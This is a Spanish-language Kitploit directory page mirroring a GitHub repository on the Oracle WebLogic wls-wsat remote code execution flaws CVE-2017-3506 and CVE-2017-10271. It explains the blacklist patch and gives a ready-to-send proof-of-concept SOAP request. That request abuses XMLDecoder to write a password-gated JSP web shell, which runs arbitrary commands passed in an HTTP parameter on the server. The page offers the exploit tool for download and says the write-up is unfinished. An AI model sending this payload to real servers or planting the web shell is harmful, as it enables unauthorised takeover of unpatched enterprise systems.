Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Oracle-WebLogic-CVE-2017-10271 — WebLogic wls-wsat RCE CVE-2017-10271 | Kitploit
Herramientas/GitHubGitHub/peterpeter228/oracle-weblogic-cve-2017-10271
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubpeterpeter228/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
56hace 8 añosAún no revisado

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

Descripción de la vulnerabilidad

En los primeros días, los atacantes utilizaron la vulnerabilidad del componente WLS de WebLogic para lanzar ataques remotos a gran escala contra servidores empresariales. Un gran número de servidores de empresas fueron comprometidos, y la cantidad de empresas atacadas mostraba una tendencia claramente ascendente, lo que requería gran atención. Entre ellas, CVE-2017-3506 es una vulnerabilidad de ejecución remota de código que explota el componente WLS en Oracle WebLogic, y es una vulnerabilidad de explotación en campo sin detalles públicos. Muchas empresas aún no habían instalado el parche a tiempo. Oracle lanzó el parche para esta vulnerabilidad en abril de 2017.

Descripción del parche para CVE-2017-3506:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

Simplemente se agregó una función validate antes de la deserialización. Si qName es igual a "object", se lanza una excepción y se detiene el proceso. Bastante simple y directo, sin embargo, esta reparación basada en una lista negra es difícil de corregir completamente. Vale la pena reflexionar...

El método de explotación de esta vulnerabilidad es relativamente simple. El atacante solo necesita enviar una solicitud HTTP cuidadosamente construida para obtener permisos en el servidor objetivo, lo que representa un gran peligro. Dado que la vulnerabilidad es relativamente nueva, todavía hay muchos hosts que no han actualizado los parches correspondientes. Se prevé que después de este incidente repentino, es muy probable que el número de ataques se dispare y muchos hosts nuevos sean comprometidos.

El parche de Oracle de abril de 2017 para CVE-2017-3506 no fue una solución completa; se puede eludir y aún así ejecutar comandos remotos. La vulnerabilidad CVE-2017-10271, que permitía la elusión, fue corregida en el parche de octubre publicado por Oracle.

Identificadores de vulnerabilidad

CVE-2017-3506 (Vulnerabilidad de ejecución remota de comandos en wls-wsat) CVE-2017-10271 (Vulnerabilidad de elusión de ejecución remota de comandos en wls-wsat)

Versiones afectadas

Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.1.0 Oracle WebLogic Server 12.2.1.2.0

Método de explotación

CVE-2017-3506

mitre: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Poc:

root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

No se ha terminado, tuve que salir...

Descargar herramienta